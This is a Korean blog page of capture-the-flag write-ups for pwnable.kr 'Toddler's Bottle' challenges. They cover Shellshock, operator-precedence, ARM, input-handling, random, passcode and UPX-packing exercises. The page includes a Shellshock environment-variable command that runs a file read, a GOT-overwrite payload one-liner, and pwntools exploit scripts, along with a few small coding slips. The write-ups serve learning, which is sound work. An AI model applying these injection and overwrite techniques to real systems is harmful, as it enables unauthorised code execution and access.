'분류 전체보기'에 해당되는 글 80건


코드가 매우 간단하다. 그 만큼 풀이도 간단하다.



Shellshock는 CVE-2014-6271 에 붙은 이름이다.


이 취약점은 환경변수를 사용한다.


env x='() { :; }; echo WWW' ./shellshock


이런식으로 입력하면 원래 실행되서는 안될 ./shellshock가 실행되는 것이다.


저 코드는 ./shellshock를 실행해서 echo WWW를 실행하는 코드이다.


환경변수에 echo WWW가 들어있어서 프로그램을 실행할때 같이 실행이된다.


이 부분에 flag를 여는 함수를 넣는다고 생각하면, setresuid, setresgid를 사용한 상태에서 flag를 열 수 있는 것이다.


env x='() { :; }; /bin/cat /home/shellshock/flag' ./shellshock 를 실행하면 된다.



물론 저기다가 /bin/bash를 넣어서 cat을 실행해도 된다.



Ps. env할때 () { :; }  공백이 중요하니 주의.

'pwnable > Toddler's Bottle' 카테고리의 다른 글

[Toddler's Bottle] blackjack  (0) 2018.05.29
[Toddle's Bottle] coin1  (0) 2018.05.29
[Toddler's Bottle] mistake  (0) 2018.05.28
[Toddler's Bottle] leg  (0) 2018.05.28
[Toddler's Bottle] input  (0) 2018.05.28
블로그 이미지

천재보다는 범재

,

#include <stdio.h>

#include <fcntl.h>


#define PW_LEN 10

#define XORKEY 1


void xor(char* s, int len){

int i;

for(i=0; i<len; i++){

s[i] ^= XORKEY;

}

}


int main(int argc, char* argv[]){

int fd;

if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){

printf("can't open password %d\n", fd);

return 0;

}


printf("do not bruteforce...\n");

sleep(time(0)%20);


char pw_buf[PW_LEN+1];

int len;

if(!(len=read(fd,pw_buf,PW_LEN) > 0)){

printf("read error\n");

close(fd);

return 0;

}


char pw_buf2[PW_LEN+1];

printf("input password : ");

scanf("%10s", pw_buf2);


// xor your input

xor(pw_buf2, 10);


if(!strncmp(pw_buf, pw_buf2, PW_LEN)){

printf("Password OK\n");

system("/bin/cat flag\n");

}

else{

printf("Wrong Password\n");

}


close(fd);

return 0;

}



힌트가 opration priority. 연산자 우선순위이다.

우선, 이 코드에서 사용된 연산자들을 한번 보자.


if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0)

if(!(len=read(fd,pw_buf,PW_LEN) > 0))


그리고 C의 우선순위를 알아보자 위쪽이 우선순위가 더 높은 연산자이다



Symbol1연산 형식결합성
[ ] ( ) . –>후위 ++ 및 후위 ––왼쪽에서 오른쪽
전위 ++ 및 전위 –– sizeof & * + – ~ !단항오른쪽에서 왼쪽
형식 캐스팅단항오른쪽에서 왼쪽
* / %곱하기왼쪽에서 오른쪽
+ –더하기왼쪽에서 오른쪽
<< >>비트 시프트왼쪽에서 오른쪽
< > <= >=관계왼쪽에서 오른쪽
== !=같음왼쪽에서 오른쪽
&비트 AND왼쪽에서 오른쪽
^비트 제외 OR왼쪽에서 오른쪽
|비트 포함 OR왼쪽에서 오른쪽
&&논리 AND왼쪽에서 오른쪽
&#124;&#124;논리 OR왼쪽에서 오른쪽
? :조건식오른쪽에서 왼쪽
= *= /= %=

 += –= <<= >>=&=

 ^= |=
단순 및 복합 할당2오른쪽에서 왼쪽
,순차적 계산왼쪽에서 오른쪽

출처 : http://forum.falinux.com/zbxe/index.php?document_srl=408448&mid=C_LIB



부등호가 =보다 더 상위에 위치한다.


if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0)


그렇다면, 이 식에서 = 보다 < 가 더 먼저 실행된다는 의미이고, 비교할 때 참이면 1, 거짓이면 0을 반환한다.


open 함수는 파일이 열리면 파일의 fd를 반환하고, 실패하면 음수를 반환하므로, 파일이 열리면 fd = 0  이 되고  안열리면 1이 된다.


그 후


if(!(len=read(fd,pw_buf,PW_LEN) > 0)){

printf("read error\n");

close(fd);

return 0;

}


char pw_buf2[PW_LEN+1];

printf("input password : ");

scanf("%10s", pw_buf2);


// xor your input

xor(pw_buf2, 10);


이 코드를 또 보자.


if(!(len=read(fd,pw_buf,PW_LEN) > 0))


파일이 똑바로 열렸다면 fd = 0이므로 stdin을 가리킨다. 즉 입력을 10자 받게된다.

그 후 scanf로 10자를 받는다.

위에서 각 글자를 1과 XOR해서 반환하므로 적당한 값을 넣어주자.

가장 쉽게 1111111111 과 0000000000을 넣어주자.




'pwnable > Toddler's Bottle' 카테고리의 다른 글

[Toddle's Bottle] coin1  (0) 2018.05.29
[Toddler's Bottle] shellshock  (0) 2018.05.28
[Toddler's Bottle] leg  (0) 2018.05.28
[Toddler's Bottle] input  (0) 2018.05.28
[Toddler's Bottle] random  (0) 2018.05.21
블로그 이미지

천재보다는 범재

,

(gdb) disass main Dump of assembler code for function main: 0x00008d3c <+0>: push {r4, r11, lr} 0x00008d40 <+4>: add r11, sp, #8 0x00008d44 <+8>: sub sp, sp, #12 0x00008d48 <+12>: mov r3, #0 0x00008d4c <+16>: str r3, [r11, #-16] 0x00008d50 <+20>: ldr r0, [pc, #104] ; 0x8dc0 <main+132> 0x00008d54 <+24>: bl 0xfb6c <printf> 0x00008d58 <+28>: sub r3, r11, #16 0x00008d5c <+32>: ldr r0, [pc, #96] ; 0x8dc4 <main+136> 0x00008d60 <+36>: mov r1, r3 0x00008d64 <+40>: bl 0xfbd8 <__isoc99_scanf> 0x00008d68 <+44>: bl 0x8cd4 <key1> 0x00008d6c <+48>: mov r4, r0 0x00008d70 <+52>: bl 0x8cf0 <key2> 0x00008d74 <+56>: mov r3, r0 0x00008d78 <+60>: add r4, r4, r3 0x00008d7c <+64>: bl 0x8d20 <key3> 0x00008d80 <+68>: mov r3, r0 0x00008d84 <+72>: add r2, r4, r3 0x00008d88 <+76>: ldr r3, [r11, #-16] 0x00008d8c <+80>: cmp r2, r3 0x00008d90 <+84>: bne 0x8da8 <main+108> 0x00008d94 <+88>: ldr r0, [pc, #44] ; 0x8dc8 <main+140> 0x00008d98 <+92>: bl 0x1050c <puts> 0x00008d9c <+96>: ldr r0, [pc, #40] ; 0x8dcc <main+144> 0x00008da0 <+100>: bl 0xf89c <system> 0x00008da4 <+104>: b 0x8db0 <main+116> 0x00008da8 <+108>: ldr r0, [pc, #32] ; 0x8dd0 <main+148> 0x00008dac <+112>: bl 0x1050c <puts> 0x00008db0 <+116>: mov r3, #0 0x00008db4 <+120>: mov r0, r3 0x00008db8 <+124>: sub sp, r11, #8 0x00008dbc <+128>: pop {r4, r11, pc} 0x00008dc0 <+132>: andeq r10, r6, r12, lsl #9 0x00008dc4 <+136>: andeq r10, r6, r12, lsr #9 0x00008dc8 <+140>: ; <UNDEFINED> instruction: 0x0006a4b0 0x00008dcc <+144>: ; <UNDEFINED> instruction: 0x0006a4bc 0x00008dd0 <+148>: andeq r10, r6, r4, asr #9 End of assembler dump. (gdb) disass key1 Dump of assembler code for function key1: 0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cd8 <+4>: add r11, sp, #0 0x00008cdc <+8>: mov r3, pc 0x00008ce0 <+12>: mov r0, r3 0x00008ce4 <+16>: sub sp, r11, #0 0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008cec <+24>: bx lr End of assembler dump. (gdb) disass key2 Dump of assembler code for function key2: 0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cf4 <+4>: add r11, sp, #0 0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!) 0x00008cfc <+12>: add r6, pc, #1 0x00008d00 <+16>: bx r6 0x00008d04 <+20>: mov r3, pc 0x00008d06 <+22>: adds r3, #4 0x00008d08 <+24>: push {r3} 0x00008d0a <+26>: pop {pc} 0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4) 0x00008d10 <+32>: mov r0, r3 0x00008d14 <+36>: sub sp, r11, #0 0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d1c <+44>: bx lr End of assembler dump. (gdb) disass key3 Dump of assembler code for function key3: 0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008d24 <+4>: add r11, sp, #0 0x00008d28 <+8>: mov r3, lr 0x00008d2c <+12>: mov r0, r3 0x00008d30 <+16>: sub sp, r11, #0 0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d38 <+24>: bx lr End of assembler dump.



우선 어셈블리부터 보자. 이 코드는 ARM CPU의 어셈블리어이므로 조금 다른 점이 많다.


0x01 Registers


r0~r12 까지는 범용 레지스터이고

r13 는 스택 포인터(SP)

r14 는 링크 레지스터(LR)

r15 는 PC (Program Counter)

로 예약되어 있다.


참고로 arm의 PC는 실행중인 명령 +8의 주소를 가리킨다.

또, 함수의 return값은 r0에 들어간다.




0x02 Assembly


add, sub는 x86과 같은 명령어인데, 오퍼랜드를 넘겨주는 방식이 다르다

op{S}{cond} {Rd}, Rn, Operand2

이 구조가 ADD와 SUB의 사용 방법이다.

Rd가 destination. 즉 결과를 저장하는 곳이고, Rn은 저장할 값이 들어있는 레지스터, Operand2에는 다양한 값이 들어갈 수 있다. 자세한건 직접 알아보자. 쓰자면 끝이 없다.



 pop push 는 x86과 완전 동일하다.


이제 x86의 JMP에 대해 알아보자.


ARM은 B 라는 OPcode로 JMP를 실행하게 되는데, x86과 비교해 보자.


B = JMP

이 두개는 동작이 동일하다 해당 주소로 그냥 무조건 뛰는 것이다.


BL = Call

얘는 함수 호출할때 사용한다. l은 link를 의미하며 x86에서의 ret를 의미한다.


BX

x86에는 없다. arm의 thumb모드로 전환하는 것을 의미한다.


BLX 

역시 x86에 없다. bx와 bl을 섞은 것이다.


나머지 BLE, BE같은 명령어는 JLE, JE 등과 같다.





0x03 Key1


(gdb) disass key1
Dump of assembler code for function key1:
   0x00008cd4 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cd8 <+4>:	add	r11, sp, #0
   0x00008cdc <+8>:	mov	r3, pc
   0x00008ce0 <+12>:	mov	r0, r3
   0x00008ce4 <+16>:	sub	sp, r11, #0
   0x00008ce8 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008cec <+24>:	bx	lr
End of assembler dump.


해당 코드를 보면, pc를 r3에 저장한 후, r0에 r3를 저장한다.

그 이후 r0에 대해 연산하지 않는다.


main에서


0x00008d6c <+48>: mov r4, r0


r4에 r0를 복사하는 것을 보니 이 값은 key1+8에서의 PC일 것이다. PC가 실행되는 코드+8을 가리키므로 0x00008ce4일 것이다.


Return 0x00008ce4;







0x04 Key2



(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>:	add	r11, sp, #0
   0x00008cf8 <+8>:	push	{r6}		; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:	add	r6, pc, #1
   0x00008d00 <+16>:	bx	r6
   0x00008d04 <+20>:	mov	r3, pc
   0x00008d06 <+22>:	adds	r3, #4
   0x00008d08 <+24>:	push	{r3}
   0x00008d0a <+26>:	pop	{pc}
   0x00008d0c <+28>:	pop	{r6}		; (ldr r6, [sp], #4)
   0x00008d10 <+32>:	mov	r0, r3
   0x00008d14 <+36>:	sub	sp, r11, #0
   0x00008d18 <+40>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d1c <+44>:	bx	lr
End of assembler dump.


이번에는 r3에 pc값을 넣고, 4를 더한 뒤 r0에 r3를 넣은 후, 종료한다.


즉 key2+20에서의 PC값 + 4를 하면 될 것이다.


0x00008d74 <+56>: mov r3, r0 0x00008d78 <+60>: add r4, r4, r3

반환된 값을 r3에 옮기고 r4에 r4와 r3의 합을 저장하니 r4에는 key1+key2값이 들어있을 거다.



Return 0x00008d0c;






0x05 Key3


(gdb) disass key3
Dump of assembler code for function key3:
   0x00008d20 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008d24 <+4>:	add	r11, sp, #0
   0x00008d28 <+8>:	mov	r3, lr
   0x00008d2c <+12>:	mov	r0, r3
   0x00008d30 <+16>:	sub	sp, r11, #0
   0x00008d34 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d38 <+24>:	bx	lr
End of assembler dump.


이번엔 r3에 넣는 값이 다르다 lr이라는 값을 넣는데, lr은 위 0x01 Registers에서 언급하였다. 바로 link 값이다.


http://trace32.com/wiki/index.php/B,_BL,_BX_and_BLX


해당 주소를 참고하면, ARM의 link는 BL을 한 명령어 바로 다음 명령어이다.


즉 

0x00008d7c <+64>: bl 0x8d20 <key3> 0x00008d80 <+68>: mov r3, r0



이 명령어를 볼 때 0x00008d80이라는 뜻이된다.


Return 0x00008d80;



0x06 마무으리




그럼 Key값을 모두 구했다.


key1 : 0x00008ce4 

key2 : 0x00008d0c

key3 : 0x00008d80


이 세 값의 합을 구하면 된다.


더한 값은 108400이니 pwnable서버에서 입력해보자.



















'pwnable > Toddler's Bottle' 카테고리의 다른 글

[Toddler's Bottle] shellshock  (0) 2018.05.28
[Toddler's Bottle] mistake  (0) 2018.05.28
[Toddler's Bottle] input  (0) 2018.05.28
[Toddler's Bottle] random  (0) 2018.05.21
[Toddler's Bottle] passcode  (0) 2018.05.21
블로그 이미지

천재보다는 범재

,

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/socket.h>

#include <arpa/inet.h>


int main(int argc, char* argv[], char* envp[]){

printf("Welcome to pwnable.kr\n");

printf("Let's see if you know how to give input to program\n");

printf("Just give me correct inputs then you will get the flag :)\n");


// argv

if(argc != 100) return 0;

if(strcmp(argv['A'],"\x00")) return 0;

if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;

printf("Stage 1 clear!\n");


// stdio

char buf[4];

read(0, buf, 4);

if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;

read(2, buf, 4);

        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;

printf("Stage 2 clear!\n");

// env

if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;

printf("Stage 3 clear!\n");


// file

FILE* fp = fopen("\x0a", "r");

if(!fp) return 0;

if( fread(buf, 4, 1, fp)!=1 ) return 0;

if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;

fclose(fp);

printf("Stage 4 clear!\n");


// network

int sd, cd;

struct sockaddr_in saddr, caddr;

sd = socket(AF_INET, SOCK_STREAM, 0);

if(sd == -1){

printf("socket error, tell admin\n");

return 0;

}

saddr.sin_family = AF_INET;

saddr.sin_addr.s_addr = INADDR_ANY;

saddr.sin_port = htons( atoi(argv['C']) );

if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){

printf("bind error, use another port\n");

    return 1;

}

listen(sd, 1);

int c = sizeof(struct sockaddr_in);

cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);

if(cd < 0){

printf("accept error, tell admin\n");

return 0;

}

if( recv(cd, buf, 4, 0) != 4 ) return 0;

if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;

printf("Stage 5 clear!\n");


// here's your flag

system("/bin/cat flag");

return 0;

}



input의 코드이다. 보아하니 Stage를 하나씩 해결해가면서 마지막 Stage 5를 해결하면 될 듯 하다. 이번 문제는 전부 로컬 ubuntu 16.04LTS 로 복사해서 한 후 서버로 옮겨갔다.


0x01. Stage 1

우선 Stage1을 보자.

// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");

//argv -> argv에 관한 문제이다.

if(argc != 100) return 0;

argv를 100개 넣어줘야만 한다.


if(strcmp(argv['A'], "\x00")) return 0;

argv의 'A'번째, 즉 0x41번째, 65번째 가 0x00이어야 한다.


if(strcmp(argv['B'], "\x20\x0a\x0d")) return 0;



argv의 'B'번째, 즉 0x42번째, 66번째 가 0x200a0d이어야 한다.



pwntool을 이용하기 위해 py파일을 만들자


argv를 여러개 전달하기 위해 pwntools 의 process함수를 볼 필요가 있다.


classpwnlib.tubes.process.process(argv=Noneshell=Falseexecutable=Nonecwd=Noneenv=Nonestdin=-1stdout=<pwnlib.tubes.process.PTY object>stderr=-2close_fds=Truepreexec_fn=<function <lambda>>raw=Trueaslr=Nonesetuid=Nonewhere='local'display=Nonealarm=None*args**kwargs)


argv=None인 부분에 []로 배열을 만들어서 넣어주면 될 듯 하다.



from pwn import *


r = process([ 'a',\

'a', 'a', 'a', 'a', 'a' ,'a' ,'a', 'a', 'a', 'a', \

'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', \

'a', 'a', 'a' ,'a', 'a', 'a', 'a', 'a', 'a', 'a', \

'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', \

'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', \

'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', \

'a', 'a', 'a', 'a', '\x00', '\x20\x0a\x0d', 'a', 'a', 'a', 'a', \

'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', \

'a', 'a', 'a' ,'a', 'a', 'a', 'a', 'a' ,'a' ,'a', \

'a', 'a', 'a', 'a', 'a', 'a', 'a' , 'a', 'a'], executable='./input')


print(r.recv(1024))



이 정도면 stage1은 가볍게 통과할 것이다.



Clear!




0x02. Stage 2




// stdio

char buf[4];

read(0, buf, 4);

if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;

read(2, buf, 4);

if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;

printf("Stage 2 clear!\n");



read(0, buf, 4);


fd가 0이므로 stdin이 들어간다. 가볍게 python으로 \x00\x0a\x00\xff를 보내주도록 하자



read(2, buf, 4);


아마 헤맨다면이 부분이지 않을까 싶다. 2는 stderr이며 여기서 값을 받아 buf에 넣어야 한다. stderr은 입력할 수 없으므로 입력할 방법이 없을 것 같다.


하지만, pwntools의 process를 다시한번 읽어보자.


classpwnlib.tubes.process.process(argv=Noneshell=Falseexecutable=Nonecwd=Noneenv=Nonestdin=-1stdout=<pwnlib.tubes.process.PTY object>stderr=-2close_fds=Truepreexec_fn=<function <lambda>>raw=Trueaslr=Nonesetuid=Nonewhere='local'display=Nonealarm=None*args**kwargs)


stderr=-2라는 것이 보인다. 이것을 이용해 보자.


stderr도 stdin과 stdout과 마찬가지로 fd이다. 이 fd는 파일을 열때 주어지는 고유번호라고 생각하면 된다.


pwntools의 process의 stderr에 fd값을 입력해주면 read(2, buf, 4);를 실행할때 해당 fd에서 받아올 것이다.


우선 파일을 만들고, \x00\x0a\x02\xff를 넣자


f = open("abcd", "w")

f.write('\x00\x0a\x02\xff")


해당 코드를 한번 실행하면 abcd라는 파일이 생기며, f에는 fd가 들어갈 것이다.

stderr=f로 해두자.



from pwn import *

import socket


context.log_level= 'debug'

f = open("abcd", "r")    //abcd파일을 r권한으로 염

// fd가 f로 들어감


r = process([ 'a',\

'a', 'a', 'a', 'a', 'a' ,'a' ,'a', 'a', 'a', 'a', \

'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', \

'a', 'a', 'a' ,'a', 'a', 'a', 'a', 'a', 'a', 'a', \

'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', \

'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', \

'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', \

'a', 'a', 'a', 'a', '\x00', '\x20\x0a\x0d', 'a', 'a', 'a', 'a', \

'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', \

'a', 'a', 'a' ,'a', 'a', 'a', 'a', 'a' ,'a' ,'a', \

'a', 'a', 'a', 'a', 'a', 'a', 'a' , 'a', 'a'], stderr=f, executable='./input')


r.recv(1024)


r.send('\x00\x0a\x00\xff')

r.recv(1024)




이 정도면 stage2도 성공하지 않을까?



clear!




0x03. Stage 3



// env

if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;

printf("Stage 3 clear!\n");


코드가 간단하다. 그리고 그만큼 쉽다.


classpwnlib.tubes.process.process(argv=Noneshell=Falseexecutable=Nonecwd=Noneenv=Nonestdin=-1stdout=<pwnlib.tubes.process.PTY object>stderr=-2close_fds=Truepreexec_fn=<function <lambda>>raw=Trueaslr=Nonesetuid=Nonewhere='local'display=Nonealarm=None*args**kwargs)


얘를 다시한번 보자. env라는 인자가 있는것을 볼 수 있다. 이 인자에 dict형식으로 값을 넘겨주도록 하자. dict형식은 다음과 같이 선언한다.


envs = {'\xde\xad\xbe\x\ef":"\xca\xfe\xba\xbe"}



env의 인자로 envs를 넘겨주자.




Clear




0x04. Stage 4



// file

FILE* fp = fopen("\x0a", "r");

if(!fp) return 0;

if( fread(buf, 4, 1, fp)!=1 ) return 0;

if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;

fclose(fp);

printf("Stage 4 clear!\n");



File을 사용하는 코드이다.

보아하니 \x0a라는 이름의 파일을 read권한으로 열어서 그 안에 든 4바이트가 \x00\x00\x00\x00이면 합격인 듯 하다.


위에서 stderr을 할때와 비슷하게 해결 가능할 듯 하다.


i = open("\x0a", "w")

i.write("\x00\x00\x00\x00")

i.close()



이 코드를 한번 실행시켜주면 원하는 파일이 생성될 것이다. 이 코드를 한번 실행 해 주면 Stage 4도 가볍게 클리어 할 듯 하다.



Clear!



0x05. Stage 5


대망의 마지막 Stage 5이다.


// network

int sd, cd;

struct sockaddr_in saddr, caddr;

sd = socket(AF_INET, SOCK_STREAM, 0);

if(sd == -1){

printf("socket error, tell admin\n");

return 0;

}

saddr.sin_family = AF_INET;

saddr.sin_addr.s_addr = INADDR_ANY;

saddr.sin_port = htons( atoi(argv['C']) );

if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){

printf("bind error, use another port\n");

    return 1;

}

listen(sd, 1);

int c = sizeof(struct sockaddr_in);

cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);

if(cd < 0){

printf("accept error, tell admin\n");

return 0;

}

if( recv(cd, buf, 4, 0) != 4 ) return 0;

if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;

printf("Stage 5 clear!\n");




으.. 역시 제일 길다. 소켓이니 하나하나 따져서 가보자

먼저 ip와 port에 대해 알아보자.


sd = socket(AF_INET, SOCK_STREAM, 0);


AF_INET 은 Ipv4 프로토콜이다.


saddr.sin_addr.s_addr = INADDR_ANY


INADDR_ANY는 서버의 IP주소를 자동으로 반환해 주는 함수로 define에 정의되어 있다. 즉 자기 자신의 서버니 IP로는 localhost나 127.0.0.1(loopback)를 사용하면 될 듯하다.


saddr.sin_port = htons( atoi(argv['C']) );


이말인 즉슨 입력했던 argv중에 C번째 즉 0x43번째 즉 67번째 입력한것이 포트번호가 된다. 뭐 점유되지 않았을 만한 포트를 고르자. 필자는 9999를 선택하였다.


pwntools에서 socket을 위해 제공하는 함수, remote를 사용하자.


m = remote('localhost', 9999)

로 호출해서

m.send를 사용해 \xde\xad\xbe\xef를 보내주자




from pwn import *

import socket


f = open("abcd", "r")

envs={'\xde\xad\xbe\xef':'\xca\xfe\xba\xbe'}


r = process([ 'a',\

'a', 'a', 'a', 'a', 'a' ,'a' ,'a', 'a', 'a', 'a', \

'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', \

'a', 'a', 'a' ,'a', 'a', 'a', 'a', 'a', 'a', 'a', \

'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', \

'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', \

'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', \

'a', 'a', 'a', 'a', '\x00', '\x20\x0a\x0d', '9999', 'a', 'a', 'a', \

'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', \

'a', 'a', 'a' ,'a', 'a', 'a', 'a', 'a' ,'a' ,'a', \

'a', 'a', 'a', 'a', 'a', 'a', 'a' , 'a', 'a'], stderr=f, env=envs, executable='./input')




print(r.recv(1024))


r.send('\x00\x0a\x00\xff')

r.recv(1024)

sleep(5)    //소켓 여는데 시간이 걸리므로 sleep을 써 주자.

m = remote('localhost', 9999)

m.send('\xde\xad\xbe\xef')


print(r.recv(1024))





CLEAR!




0x06. pwnable


이제 서버로 가자.


ssh -p 2222 input2@pwnable.kr 로 연결하자 비밀번호는 guest다.


/home/input2/ 에는 권한이 없어 쓸 수 없으니 tmp내에 아무 폴더나 만들고 사용하자.


Stage 2와 Stage4에 사용할 file들을 전부 python 코드를 사용해 만들자


input과 flag는 심볼릭 링크로 만들어두면 된다.


ln -s /home/input2/input ./input

ln -s /home/input2/flag ./flag


를 한 후 python으로 py파일을 실행해 주자.




CLEAR


'pwnable > Toddler's Bottle' 카테고리의 다른 글

[Toddler's Bottle] mistake  (0) 2018.05.28
[Toddler's Bottle] leg  (0) 2018.05.28
[Toddler's Bottle] random  (0) 2018.05.21
[Toddler's Bottle] passcode  (0) 2018.05.21
[Toddler's Bottle] flag  (0) 2018.05.21
블로그 이미지

천재보다는 범재

,


random의 코드이다.

key를 입력받고 key와 random을 xor한 결과가 0xdeadbeef면 된다.



GDB로 열어보니, 비교하는 부분은 main+59이고 rbp-8, rbp-4를 비교하는 것으로 보인다.


그래서 scanf 에 BP를 걸고 실행했다.




BP가 걸린 곳에서 rbp-8과 rbp-4를 각각 보았더니, 뒤가 0으로 도배된 rbp-8보단 rbp-4쪽이 더 정상적인 수로 보인다.


이 수를 XOR계산기에 넣었다.


400670b526fb88

이 숫자가 XOR했을때 deadbeef가 나오는 숫자다.


반대로 넣어서 정상적으로 출력되는 것도 확인했다.


이 수를 10진수로 바꿔서 입력하면 될 것이다.




18021479654816648이라는 어마무시한 숫자이다.


하지만 입력하면, 



답을 얻을 수 있다.

'pwnable > Toddler's Bottle' 카테고리의 다른 글

[Toddler's Bottle] leg  (0) 2018.05.28
[Toddler's Bottle] input  (0) 2018.05.28
[Toddler's Bottle] passcode  (0) 2018.05.21
[Toddler's Bottle] flag  (0) 2018.05.21
[Toddler's Bottle] bof  (0) 2018.05.19
블로그 이미지

천재보다는 범재

,


passcode의 소스코드이다.


보기엔 간단해 보이지만 알고보면

scanf("%d", passcode1);

scanf("%d", passcode2);

처럼 양아치마냥 변수앞에 &를 안붙혀줬다. 변수 주소가 아니라 변수값이 인자로 넘어갈테니 당연하게도 segmentation Fault를 볼 수 있다.


그럼 이 주소를 덮을 수 있는지부터 생각 해 보자



기존에 입력을 받는 부분이 하나 있다 .


welcome()에 보면 scanf("%100s",  name);이 보인다. 이걸로 덮을 수 있는지 확인해 보자.



해당스샷은 welcome에서 A를 무작위로 길게 넣어준 경우이다.


스택이나 레지스터에서 A가 여러번 들어간 모습을 볼 수 있다.


일단 덮어 쓸 수 있는것은 확인했다.




보아하니 passcode1은 ebp-0x10, passcode2는 ebp-0xc에 있는 것을 볼 수 있다.




welcome을 보면 lea edx,[ebp-0x70] 을 보아 ebp-0x70부터 100바이트만큼 받는것을 볼 수 있다.

0x70이 10진수로 112 0x10이 16, 0xc가 12라는 것을 보아, ebp - 0x10이 welcome() 의 name 의 마지막 4바이트가 남아있을 것을 예상할 수 있다.


그렇다면 0xc까지는 덮을 수 없다는 말이 된다.


passcode2의 주소를 덮어쓸 수 없으니 다른방법을 생각해보자.




보면 fflush(stdin)이 보인다.


이 명령어를 어떻게 수정해서 실행해보자.


GOT, PLT에 관한 개념은 RTL에서 사용했었다. 다시한번 언급하자면

프로세스에서 함수를 call할 때, 바로 그 주소로 가는게 아니라, 프로세스 내의 .plt table에 각 함수의 got값이 들어있고 이 주소로 가서 실행하게 된다.


마침 앞의 scanf의 dest주소도 덮어쓸 수 있다.

상황이 갖춰졌으니 주소를 알아보자.


평범한 상황이었으면 python파일을 짜서 ELF를 사용할테지만, 아쉽게도 pwnable.kr은 폴더에 쓰기도 안되고, 여러 제약이 있으니 한 줄 코드를 사용해야만 했다.


그래서 먼저 system 함수를 실행하는 instruction의 위치를 알아둬야한다.



보아하니 0x080485ea에 system함수를 호출하는것을 볼 수 있다.

그 위의 mov명령어는 system에 넘기는 인자를 의미한다.



보니 /bin/cat flag가 들어있는 것을 볼 수 있다.


인자없이 실행하는 것은 의미가 없으니 GOT를 0x080485e3으로 덮어써야 할것으로 보인다.


got를 보는것은 peda에서는 쉬운데, pwnable.kr에서는 got명령어가 실행되지 않아 직접 따야만 했다.



disassemble에서 fflush를 call하는 주소를 보면, 0x804a004라는 주소가 보인다.

이 주소를 열어보니 fflush@got.plt라고 한다. 0x804a004를 scanf로 덮어써 보자


페이로드는


(python -c 'print "A"*96 + "\x04\xa0\x04\x08"') |./passcode


또한, scanf에서 %d로 정수형으로 받기 때문에 0x080485e3를 10진수로 바꿔야 한다.


134514147이다.

이걸 페이로드 뒤에 붙혀주자

scanf에서 %100s로 받으므로, welcome()에서 앞쪽 100개를 들고가고

login의 첫번째 scanf에서 뒤쪽 정수값을 받을 것이다.


(python -c 'print "A"*96 + "\x04\xa0\x04\x08"' + "134514147") |./passcode




flag 득..

'pwnable > Toddler's Bottle' 카테고리의 다른 글

[Toddler's Bottle] input  (0) 2018.05.28
[Toddler's Bottle] random  (0) 2018.05.21
[Toddler's Bottle] flag  (0) 2018.05.21
[Toddler's Bottle] bof  (0) 2018.05.19
[Toddler's Bottle] collision  (0) 2018.05.18
블로그 이미지

천재보다는 범재

,

이번 문제는 헤매기는 한참 해멨는데 정작 답이 보인 후로는 순식간에 풀 수 있었다.


gdb에서 strings를 사용해 문자열을 확인해 보니 UPX!가 보인다.

UPX는 패킹의 일종이다. 이 패킹은 인터넷에 오픈되어있으니 다운받아 패킹을 풀어보자.

(http://upx.sourceforge.net/download/00-OLD-VERSIONS/)




